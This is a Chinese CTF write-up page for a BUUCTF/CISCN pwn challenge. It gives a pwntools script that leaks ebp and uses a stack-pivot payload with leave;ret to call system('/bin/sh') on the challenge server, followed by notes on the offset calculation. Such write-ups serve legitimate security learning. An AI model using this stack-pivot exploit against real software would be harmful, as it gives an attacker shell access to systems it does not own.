栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 前沿技术 > 大数据 > 大数据系统

从BUUCTF之ciscn

从BUUCTF之ciscn

WP:

from pwn import *
a=remote('node4.buuoj.cn',25724)
sys=0x8048400
leave_ret=0x080485fd
#a.recvuntil("Welcome, my friend. What's your name?")
payload='a'*0x20+'b'*8
a.send(payload)
a.recvuntil("bbbbbbbb")
ebp=u32(a.recv(4))
print (hex(ebp))
payload2='a'*4+p32(sys)+'a'*4+p32(ebp-0x28)+"/bin/shx00"
payload2=payload2.ljust(0x28,'x00')
payload2 += p32(ebp-0x38)+p32(leave_ret)
#print (payload2)
#gdb.attach(a)
a.send(payload2)
a.interactive()

具体题目一步一步分析请看别的师傅的,这里解释一下有点难理解的:
1:paylaod2的构造这里是利用了栈作为迁移的对象,毕竟read输入时溢出的空间不够。重点在于偏移量的计算:为什么是ebp-0x38呢?再printf输出时,paylaod首先覆盖了s数组,而后让printf输出ebp存的内容,注意是ebp存的内容不是ebp本身指向的地址,看下图:这个a是read输入的a,输入到s数组的开头,分析知0xffffd168与0xffffd130之间的距离位0x38.
2:就是栈迁移的原理,paylaod2最后为什么加一个p32(leave_ret),理解清楚了就解决了。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/604547.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号